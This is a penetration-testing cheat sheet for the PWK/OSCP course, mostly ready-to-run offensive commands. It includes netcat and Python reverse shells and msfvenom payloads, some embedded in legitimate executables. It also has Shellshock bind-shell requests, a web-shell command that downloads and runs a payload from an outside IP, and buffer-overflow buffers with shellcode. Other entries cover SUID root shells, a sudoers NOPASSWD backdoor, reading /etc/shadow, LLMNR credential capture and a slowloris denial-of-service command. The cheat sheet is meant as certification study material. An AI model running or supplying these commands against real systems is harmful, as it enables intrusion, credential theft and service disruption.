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PWK-CheatSheet

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Penetration Testing with Kali Linux (PWK) course and Offensive Security Certified Professional (OSCP) Cheat Sheet

Table of Contents

Linux 101

Set the Target IP Address to the $ip system variable

$ export ip=192.168.1.100

Find the location of a file

$ locate sbd.exe

Search through directories in the $PATH environment variable

$ which sbd

Find a search for a file that contains a specific string in it’s name

$ find / -name sbd\*

Show active internet connections

$ netstat -lntp

Change Password

$ passwd

Verify a service is running and listening

$ netstat -antp |grep apache

Start a service

$ systemctl start ssh
$ systemctl start apache2

Unzip a gz file

$ gunzip access.log.gz

Unzip a tar.gz file

$ tar -xzvf file.tar.gz

  • Search command history

    history | grep phrase\_to\_search\_for

  • Have a service start at boot

    systemctl enable ssh

  • Stop a service
    systemctl stop ssh

  • Download a webpage
    wget [www.cisco.com](http://www.cisco.com)

  • Open a webpage
    `curl www.cisco.com

  • String manipulation

    • Count number of lines in file
      wc index.html

    • Get the start or end of a file
      head index.html tail index.html

    • Extract all the lines that contain a string
      grep "href=" index.html

    • Cut a string by a delimiter, filter results then sort
      grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

    • Using Grep and regular expressions and output to a file
      cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

    • Use a bash loop to find the IP address behind each host
      for url in $(cat list.txt); do host $url; done

    • Collect all the IP Addresses from a log file and sort by frequency
      cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

  • Netcat - Read and write TCP and UDP Packets

    • Connect to a POP3 mail server
      nc -nv $ip 110

    • Listen on TCP/UDP port
      nc -nlvp 4444

    • Connect to a netcat port
      nc -nv $ip 4444

    • Send a file using netcat
      nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

    • Receive a file using netcat
      nc -nlvp 4444 > incoming.exe

    • Create a reverse shell with Ncat using cmd.exe on Windows
      nc -nlvp 4444 -e cmd.exe

    • Create a reverse shell with Ncat using bash on Linux
      nc -nv $ip 4444 -e /bin/bash

  • Ncat - Netcat for Nmap project which provides more security avoid IDS

    • Reverse shell from windows using cmd.exe using ssl
      ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

    • Listen on port 4444 using ssl
      ncat -v $ip 4444 --ssl

  • Wireshark

    • Show only SMTP (port 25) and ICMP traffic: tcp.port eq 25 or icmp

    • Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

    • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs: ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

    • Some commands are equal ip.addr == 10.43.54.65 Equals ip.src == 10.43.54.65 or ip.dst == 10.43.54.65

      ip.addr != 10.43.54.65 Equals ip.src != 10.43.54.65 or ip.dst != 10.43.54.65

  • Tcpdump

    • Display a pcap file
      tcpdump -r password\_cracking\_filtered.pcap

    • Display ips and filter and sort
      tcpdump -n -r password\_cracking\_filtered.pcap | awk -F" " '{print $3}' | sort -u | head

    • Grab a packet capture on port 80
      tcpdump tcp port 80 -w output.pcap -i eth0

    • Check for ACK or PSH flag set in a TCP packet
      tcpdump -A -n 'tcp\[13\] = 24' -r password\_cracking\_filtered.pcap

  • IPTables deny traffic to ports except for Local Loopback

    iptables -A INPUT -p tcp --destination-port 13327 \\! -d $ip -j DROP
iptables -A INPUT -p tcp --destination-port 4444 \\! -d $ip -j DROP

Information Gathering & Vulnerability Scanning

  • Passive Information Gathering

  • Google Hacking

    • Google search to find website sub domains
      site:microsoft.com site:[www.microsoft.com](http://www.microsoft.com)

    • Google filetype, and intitle
      intitle:”netbotz appliance” “OK” -filetype:pdf

    • Google inurl
      inurl:”level/15/sexec/-/show”

    • Google Hacking Database:
      https://www.exploit-db.com/google-hacking-database/

  • SSL Certificate Testing
    https://www.ssllabs.com/ssltest/analyze.html

  • Email Harvesting

    • Simply Email
      git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN

  • Netcraft

  • Whois Enumeration
    whois domain-name-here.com whois $ip

  • Banner Grabbing

    • nc -v $ip 25

    • telnet $ip 25

    • nc TARGET-IP 80

  • Recon-ng - full-featured web reconnaissance framework written in Python

    • cd /opt; git clone https://[email protected]/LaNMaSteR53/recon-ng.git cd /opt/recon-ng ./recon-ng show modules help

  • Active Information Gathering

  • DNS Enumeration

    • Host Lookup
      host -t ns megacorpone.com

    • Reverse Lookup Brute Force - find domains in the same range
      for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

    • Perform DNS IP Lookup
      dig a domain-name-here.com @nameserver

    • Perform MX Record Lookup
      dig mx domain-name-here.com @nameserver

    • Perform Zone Transfer with DIG
      dig axfr domain-name-here.com @nameserver

    • DNS Zone Transfers
      Windows DNS zone transfer
      nslookup -> set type=any -> ls -d blah.com Linux DNS zone transfer
      dig axfr blah.com @ns1.blah.com

    • Dnsrecon DNS Brute Force
      dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

    • Dnsrecon DNS List of megacorp
      dnsrecon -d megacorpone.com -t axfr

    • DNSEnum
      dnsenum zonetransfer.me

  • Port Scanning

Subnet Reference Table

/ Addresses Hosts Netmask Amount of a Class C
/30 4 2 255.255.255.252 1/64
/29 8 6 255.255.255.248 1/32
/28 16 14 255.255.255.240 1/16
/27 32 30 255.255.255.224 1/8
/26 64 62 255.255.255.192 1/4
/25 128 126 255.255.255.128 1/2
/24 256 254 255.255.255.0 1
/23 512 510 255.255.254.0 2
/22 1024 1022 255.255.252.0 4
/21 2048 2046 255.255.248.0 8
/20 4096 4094 255.255.240.0 16
/19 8192 8190 255.255.224.0 32
/18 16384 16382 255.255.192.0 64
/17 32768 32766 255.255.128.0 128
/16 65536 65534 255.255.0.0 256

  • Set the ip address as a varble
    export ip=192.168.1.100 nmap -A -T4 -p- $ip

  • Netcat port Scanning
    nc -nvv -w 1 -z $ip 3388-3390

  • Discover who else is on the network
    netdiscover

  • Discover IP Mac and Mac vendors from ARP
    netdiscover -r $ip/24

  • Nmap stealth scan using SYN
    nmap -sS $ip

  • Nmap stealth scan using FIN
    nmap -sF $ip

  • Nmap Banner Grabbing
    nmap -sV -sT $ip

  • Nmap OS Fingerprinting
    nmap -O $ip

  • Nmap Regular Scan:
    nmap $ip/24

  • Enumeration Scan
    nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

  • Enumeration Scan All Ports TCP / UDP and output to a txt file
    nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

  • Nmap output to a file:
    nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

  • Quick Scan:
    nmap -T4 -F $ip/24

  • Quick Scan Plus:
    nmap -sV -T4 -O -F --version-light $ip/24

  • Quick traceroute
    nmap -sn --traceroute $ip

  • All TCP and UDP Ports
    nmap -v -sU -sS -p- -A -T4 $ip

  • Intense Scan:
    nmap -T4 -A -v $ip

  • Intense Scan Plus UDP
    nmap -sS -sU -T4 -A -v $ip/24

  • Intense Scan ALL TCP Ports
    nmap -p 1-65535 -T4 -A -v $ip/24

  • Intense Scan - No Ping
    nmap -T4 -A -v -Pn $ip/24

  • Ping scan
    nmap -sn $ip/24

  • Slow Comprehensive Scan
    nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24

  • Scan with Active connect in order to weed out any spoofed ports designed to troll you
    nmap -p1-65535 -A -T5 -sT $ip

  • Enumeration

  • NMap Enumeration Script List:

  • SMB Enumeration

    • SMB OS Discovery
      nmap $ip --script smb-os-discovery.nse

    • Nmap port scan
      nmap -v -p 139,445 -oG smb.txt $ip-254

    • Netbios Information Scanning
      nbtscan -r $ip/24

    • Nmap find exposed Netbios servers
      nmap -sU --script nbstat.nse -p 137 $ip

    • SMB Enumeration Tools
      nmblookup -A $ip smbclient //MOUNT/share -I $ip -N rpcclient -U "" $ip enum4linux $ip enum4linux -a $ip

    • SMB Finger Printing
      smbclient -L //$ip

    • Nmap Scan for Open SMB Shares
      nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $ip/24

    • Nmap scans for vulnerable SMB Servers
      nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

    • Nmap List all SMB scripts installed
      ls -l /usr/share/nmap/scripts/smb\*

    • Enumerate SMB Users

      • nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

      • python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

    • RID Cycling - Null Sessions
      https://www.trustedsec.com/march-2013/new-tool-release-rpc_enum-rid-cycling-attack/

      • ridenum.py $ip 500 50000 dict.txt

      • use auxiliary/scanner/smb/smb\_lookupsid

    • Manual Null Session Testing

      • Windows: net use \\\\$ip\\IPC$ "" /u:""

      • Linux: smbclient -L //$ip

  • LLMNR / NBT-NS Spoofing - Steal credentials off the network.

    • Spoof / poison LLMNR / NetBIOS requests:
      auxiliary/spoof/llmnr/llmnr_response
      auxiliary/spoof/nbns/nbns_response

    • Capture the hashes:
      auxiliary/server/capture/smb
      auxiliary/server/capture/http_ntlm

    • Using Responder to Steal Creds
      git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0

  • SMTP Enumeration - Mail Severs

    • Verify SMTP port using Netcat
      nc -nv $ip 25

  • SNMP Enumeration -Simple Network Management Protocol

    • Fix SNMP output values so they are human readable
      apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

    • SNMP Enumeration Commands

      • snmpcheck -t $ip -c public

      • snmpwalk -c public -v1 $ip 1|

      • grep hrSWRunName|cut -d\* \* -f

      • snmpenum -t $ip

      • onesixtyone -c names -i hosts

    • SNMPv3 Enumeration
      nmap -sV -p 161 --script=snmp-info $ip/24

    • Automate the username enumeration process for SNMPv3:
      apt-get install snmp snmp-mibs-downloader wget <https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb>

    • SNMP Default Credentials
      /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

  • Linux OS Enumeration

    • List all SUID files
      find / -perm -4000 2&gt;/dev/null

    • Determine the current version of Linux
      cat /etc/issue

    • Determine more information about the environment
      uname -a

    • List processes running
      ps -xaf

    • List the allowed (and forbidden) commands for the invoking use
      sudo -l

    • List iptables rules
      iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security

  • Windows OS Enumeration

    • net config Workstation

    • systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

    • hostname

    • net users

    • ipconfig /all

    • route print

    • arp -A

    • netstat -ano

    • netsh firewall show state

    • netsh firewall show config

    • schtasks /query /fo LIST /v

    • tasklist /SVC

    • net start

    • DRIVERQUERY

    • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    • dir /s pass == cred == vnc == .config

    • findstr /si password *.xml *.ini *.txt

    • reg query HKLM /f password /t REG_SZ /s

    • reg query HKCU /f password /t REG_SZ /s

  • Vulnerability Scanning with Nmap

  • Nmap Exploit Scripts
    https://nmap.org/nsedoc/categories/exploit.html

  • Nmap search through vulnerability scripts
    cd /usr/share/nmap/scripts/ ls -l \*vuln\*

  • Nmap search through Nmap Scripts for a specific keyword
    ls /usr/share/nmap/scripts/\* | grep ftp

  • Scan for vulnerable exploits with nmap
    nmap --script exploit -Pn $ip

  • NMap Auth Scripts
    https://nmap.org/nsedoc/categories/auth.html

  • Nmap Vuln Scanning
    https://nmap.org/nsedoc/categories/vuln.html

  • NMap DOS Scanning
    nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true

  • Scan for coldfusion web vulnerabilities
    nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

  • Anonymous FTP dump with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254

  • SMB Security mode scan with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254

  • File Enumeration

    • Find UID 0 files root execution

    • /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2&gt;/dev/null

    • Get handy linux file system enumeration script (/var/tmp)
      wget <https://highon.coffee/downloads/linux-local-enum.sh> chmod +x ./linux-local-enum.sh ./linux-local-enum.sh

    • Find executable files updated in August
      find / -executable -type f 2&gt; /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug

    • Find a specific file on linux
      find /. -name suid\*

    • Find all the strings in a file
      strings &lt;filename&gt;

    • Determine the type of a file
      file &lt;filename&gt;

  • HTTP Enumeration

    • Search for folders with gobuster:
      gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

    • OWasp DirBuster - Http folder enumeration - can take a dictionary file

    • Dirb - Directory brute force finding using a dictionary file
      dirb http://$ip/ wordlist.dict dirb <http://vm/>

      Dirb against a proxy

    • dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129

    • Nikto
      nikto -h $ip

    • HTTP Enumeration with NMAP
      nmap --script=http-enum -p80 -n $ip/24

    • Nmap Check the server methods
      nmap --script http-methods --script-args http-methods.url-path='/test' $ip

    • Get Options available from web server curl -vX OPTIONS vm/test

    • Uniscan directory finder:
      uniscan -qweds -u <http://vm/>

    • Wfuzz - The web brute forcer
      wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"

  • Open a service using a port knock (Secured with Knockd)
    for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done

  • WordPress Scan - Wordpress security scanner

    • wpscan --url $ip/blog --proxy $ip:3129

  • RSH Enumeration - Unencrypted file transfer system

    • auxiliary/scanner/rservices/rsh_login

  • Finger Enumeration

    • finger @$ip

    • finger batman@$ip

  • TLS & SSL Testing

    • ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html

  • Proxy Enumeration (useful for open proxies)

    • nikto -useproxy http://$ip:3128 -h $ip

  • Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

  • The OpenVAS Vulnerability Scanner

    • apt-get update
      apt-get install openvas
      openvas-setup

    • netstat -tulpn

    • Login at:
      https://$ip:9392

Buffer Overflows and Exploits

  • DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)

  • MSFvenom
    https://www.offensive-security.com/metasploit-unleashed/msfvenom/

  • Windows Buffer Overflows

    • Controlling EIP

    • locate pattern_create

    • pattern_create.rb -l 2700

    • locate pattern_offset

    • pattern_offset.rb -q 39694438

    • Verify exact location of EIP - [*] Exact match at offset 2606

    • buffer = "A" * 2606 + "B" * 4 + "C" * 90

    • Check for “Bad Characters” - Run multiple times 0x00 - 0xFF

    • Use Mona to determine a module that is unprotected

    • Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP

    • Otherwise without DEP, we can stick our

    • Use NASM to determine the HEX code for a JMP ESP instruction

      • /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

      • JMP ESP
        00000000 FFE4 jmp esp

    • Run Mona in immunity log window to find (FFE4) XEF command

    • !mona find -s "\xff\xe4" -m slmfc.dll
      found at 0x5f4a358f - Flip around for little endian format

    • buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

    • MSFVenom to create payload
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

    • Final Payload with NOP slide
      buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

    • Create a PE Reverse Shell
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -o shell_reverse.exe

    • Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

    • Create a PE reverse shell and embed it into an existing executable
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

    • Create a PE Reverse HTTPS shell
      msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe

  • Linux Buffer Overflows

    • Run Evans Debugger against an app
      edb --run /usr/games/crossfire/bin/crossfire

    • ESP register points toward the end of our CBuffer
      add eax,12
      jmp eax
      83C00C add eax,byte +0xc
      FFE0 jmp eax

    • Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF

    • Find JMP ESP address
      "\x97\x45\x13\x08" # Found at Address 08134597

    • crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

    • msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai

    • Connect to the shell with netcat:
      nc -v $ip 4444

Shells

  • Netcat Shell Listener
    nc -nlvp 443

  • Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user. (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run)

    • python -c 'import pty; pty.spawn("/bin/sh")'

    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    • echo os.system('/bin/bash')

    • /bin/sh -i

    • perl —e 'exec "/bin/sh";'

    • perl: exec "/bin/sh";

    • ruby: exec "/bin/sh"

    • lua: os.execute('/bin/sh')

    • (From within IRB)
      exec "/bin/sh"

    • (From within vi)
      :!bash

    • From within vim
      Breaking out of vim is done by ':!bash':

    • (From within vi)
      :set shell=/bin/bash:shell

    • (From within nmap)
      !sh

    • (From within tcpdump)
      echo $’id\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test
      chmod +x /tmp/.test
      sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

    • from busybox
      /bin/busybox telnetd -|/bin/sh -p9999

  • Pen test monkey PHP reverse shell
    http://pentestmonkey.net/tools/web-shells/php-reverse-shel

  • php-findsock-shell - turns PHP port 80 into an interactive shell
    http://pentestmonkey.net/tools/web-shells/php-findsock-shell

  • Perl Reverse Shell
    http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

  • PHP powered web browser Shell b374k with file upload etc.
    https://github.com/b374k/b374k

  • Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

  • Web Backdoors from Fuzzdb ( https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors

  • Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

    Windows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

    Web Payloads

    PHP

    msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

    cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

    ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

    JSP

    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

    WAR

    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

    Scripting Payloads

    Python

    msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

    Bash

    msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

    Perl

    msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

    Shellcode

    For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

    Linux Based Shellcode

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f

    Windows Based Shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

    Mac Based Shellcode

    msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

    Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

    use exploit/multi/handler

    set PAYLOAD

    set LHOST

    set LPORT

    set ExitOnSession false

    exploit -j -z

    Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

  • SSH to Meterpreter:

    use auxiliary/scanner/ssh/ssh_login

    use post/multi/manage/shell_to_meterpreter

    https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

  • Compiling Windows Exploits on Kali

  • Cross Compiling Exploits

    • gcc -m32 -o output32 hello.c (32 bit)
      gcc -m64 -o output hello.c (64 bit)

  • Shellshock

    • git clone https://github.com/nccgroup/shocker

    • ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

    • Shell Shock SSH Forced Command
      Check for forced command by enabling all debug output with ssh
      ssh -vvv
      ssh -i noob noob@$ip '() { :;}; /bin/bash'

    • cat file (view file contents)
      echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

    • Shell Shock run bind shell
      echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

    • Shell Shock reverse Shell
      nc -l -p 443

  • Buffer Overflow Exploits

    • Pass 1000 A’s as a parameter
      ./r00t $(python -c 'print "A" * 1000')

    • Random Pattern Create
      /usr/share/metasploit-framework/tools# ruby pattern_create.rb 1000

    • Determine Pattern offset
      ruby pattern_offset.rb 0x6a413969

    • Pass shell with offset value
      env - ./r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
      # id

    • From Fuzzing to Zero Day
      https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/

  • Nmap Fuzzers:

    • NMap Fuzzer List
      https://nmap.org/nsedoc/categories/fuzzer.html

    • NMap HTTP Form Fuzzer
      nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip

    • Nmap DNS Fuzzer
      nmap --script dns-fuzz --script-args timelimit=2h $ip -d

File Transfers

  • Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.

  • Simple Local Web Servers

    • Run a basic http server, great for serving up shells etc
      python -m SimpleHTTPServer 80

    • Run a basic Python3 http server, great for serving up shells etc
      python3 -m http.server

    • Run a ruby webrick basic http server
      ruby -rwebrick -e "WEBrick::HTTPServer.new
      (:Port => 80, :DocumentRoot => Dir.pwd).start"

    • Run a basic PHP http server
      php -S $ip:80

  • Creating a wget VB Script on Windows:
    https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

  • Mounting File Shares

    • Mount NFS share to /mnt/nfs
      mount $ip:/vol/share /mnt/nfs

  • HTTP Put
    nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php

  • Uploading Files

    • SCP

      scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2

      scp localfile username@$ip:~/Folder/

    • Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor

      davtest -move -sendbd auto -url http://$ip

      https://github.com/cldrn/davtest

      You can also upload a file using the PUT method with the curl command:

      curl -T 'leetshellz.txt' 'http://$ip'

      And rename it to an executable file using the MOVE method with the curl command:

      curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

    • Upload shell using limited php shell cmd
      use the webshell to download and execute the meterpreter
      [curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php
      [curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php
      curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php

    • TFTP
      mkdir /tftp
      atftpd --daemon --port 69 /tftp
      cp /usr/share/windows-binaries/nc.exe /tftp/
      EX. FROM WINDOWS HOST:
      C:\Users\Offsec>tftp -i $ip get nc.exe

    • FTP
      apt-get update && apt-get install pure-ftpd

      #!/bin/bash
      groupadd ftpgroup
      useradd -g ftpgroup -d /dev/null -s /etc ftpuser
      pure-pw useradd offsec -u ftpuser -d /ftphome
      pure-pw mkdb
      cd /etc/pure-ftpd/auth/
      ln -s ../conf/PureDB 60pdb
      mkdir -p /ftphome
      chown -R ftpuser:ftpgroup /ftphome/

      /etc/init.d/pure-ftpd restart

  • Packing Files

Privilege Escalation

  • Linux Privilege Escalation

  • Try the obvious - Maybe the user can sudo to root:
    sudo su

  • Highon.coffee Linux Local Enum wget https://highon.coffee/downloads/linux-local-enum.sh

  • Basic Linux Privilege Escalation
    https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

  • Linux Privilege Exploit Suggester
    https://github.com/PenturaLabs/Linux_Exploit_Suggester

  • Linux post exploitation enumeration and exploit checking tools
    https://github.com/reider-roque/linpostexp

  • CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
    https://www.exploit-db.com/exploits/15285/

  • CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
    https://git.zx2c4.com/CVE-2012-0056/about/
    Linux CVE 2012-0056
    wget -O exploit.c http://www.exploit-db.com/download/18411
    gcc -o mempodipper exploit.c
    ./mempodipper

  • CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
    https://dirtycow.ninja/
    First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
    ./cow32
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd.. to /tmp/bak
    Size of binary: 45420
    Racing, this may take a while..
    thread stopped
    thread stopped
    /usr/bin/passwd is overwritten
    Popping root shell.

  • Run a command as a user other than root
    sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

  • Add a user or change a password
    /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
    echo thePassword | passwd haxzor --stdin

  • Local Privilege Escalation Exploit in Linux

    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

      below are some quick copy and paste examples for various shells:

      SUID C Shell for /bin/bash

      int main(void){
      setresuid(0, 0, 0);
      system("/bin/bash");
      }

      SUID C Shell for /bin/sh

      int main(void){
      setresuid(0, 0, 0);
      system("/bin/sh");
      }

      Building the SUID Shell binary
      gcc -o suid suid.c
      For 32 bit:
      gcc -m32 -o suid suid.c

    • Create and compile an SUID from a limited shell (no file transfer)
      echo "int main(void){\nsetgid(0); setuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
      gcc privsc.c -o privsc

  • Add users to Root SUDO group with no password requirement
    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

  • SearchSploit
    searchsploit –uncsearchsploit apache 2.2
    searchsploit "Linux Kernel"
    searchsploit linux 2.6 | grep -i ubuntu | grep local
    searchsploit slmail

  • Kernel Exploit Suggestions for Kernel Version 3.0.0
    ./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

  • Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!

    https://www.kernel-exploits.com/

  • Collect root password
    cat /etc/shadow |grep root

  • Find and display the proof.txt or flag.txt - LOOT! `cat ``find / -name proof.txt -print```

  • Windows Privilege Escalation

  • Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html

  • Try the getsystem command using meterpreter - rarely works but is worth a try. meterpreter > getsystem

  • Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

  • Windows MS11-080 - http://www.exploit-db.com/exploits/18176/
    python pyinstaller.py --onefile ms11-080.py
    mx11-080.exe -O XP

  • Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

  • Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
    icacls scsiaccess.exe

scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
